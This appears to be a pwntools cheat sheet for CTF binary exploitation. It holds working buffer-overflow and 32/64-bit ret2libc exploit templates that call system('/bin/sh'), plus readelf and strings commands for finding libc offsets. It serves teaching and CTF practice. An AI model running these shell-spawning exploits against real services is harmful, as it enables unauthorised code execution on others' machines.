pwntools

Description

Python library for binary exploitation and CTF challenges. Provides utilities for interacting with processes and remote services, crafting payloads, packing/unpacking addresses, and automating exploit development. Import with from pwn import *.

Usage 1: Basic variable overflow exploit

Establish a target process, craft a payload with padding and a packed address, and send it.

Command:

from pwn import *

# Establish the target process
target = process('./boi')

# Make the payload
# 0x14 bytes of filler data to fill the gap between the start of our input
# and the target int
# 0x4 byte int we will overwrite target with
payload = b"0"*0x14 + p64(0xcaf3baee)

# Send the payload
target.send(payload)

# Drop to an interactive shell so we can interact with our shell
target.interactive()

Usage 2: 32-bit libc exploitation template

Full exploit template for 32-bit libc-based exploitation with local/GDB/remote switching.

Command:

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './secureserver'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Lib-c offsets, found manually (ASLR_OFF)
libc_base = 0xf7c00000
system = libc_base + 0x4c880
binsh = libc_base + 0x1b5fc8

# How many bytes to the instruction pointer (EIP)?
padding = 76

payload = flat(
    asm('nop') * padding,  # Padding up to EIP
    system,  # Address of system function in libc
    0x0,  # Return pointer
    binsh  # Address of /bin/sh in libc
)

# Write payload to file
write('payload', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get flag/shell
io.interactive()

Usage 3: 64-bit libc exploitation template

Full exploit template for 64-bit libc-based exploitation using a pop_rdi gadget.

Command:

from pwn import *

# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
continue
'''.format(**locals())

# Binary filename
exe = './secureserver'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

io = start()

# Lib-c offsets, found manually (ASLR_OFF)
libc_base = 0x00007ffff7dca000
system = libc_base + 0x4c920
binsh = libc_base + 0x19604f

# POP RDI gadget (found with ropper)
pop_rdi = 0x40120b

# How many bytes to the instruction pointer (RIP)?
padding = 72

payload = flat(
    asm('nop') * padding,  # Padding up to RIP
    pop_rdi,  # Pop the following address into the RDI register
    binsh,  # Address of /bin/sh in libc
    system,  # Address of system function in libc
)

# Write payload to file
write('payload', payload)

# Exploit
io.sendlineafter(b':', payload)

# Get flag/shell
io.interactive()

Usage 4: Helper commands for libc exploitation

Commands used alongside pwntools to find libc addresses.

Get libc library address:

ldd binary

Get system function address in libc (32-bit):

readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system

Get system function address in libc (64-bit):

readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep system

Get /bin/sh string address in libc (32-bit):

strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh

Get /bin/sh string address in libc (64-bit):

strings -a -t x /lib/x86_64-linux-gnu/libc.so.6 | grep /bin/sh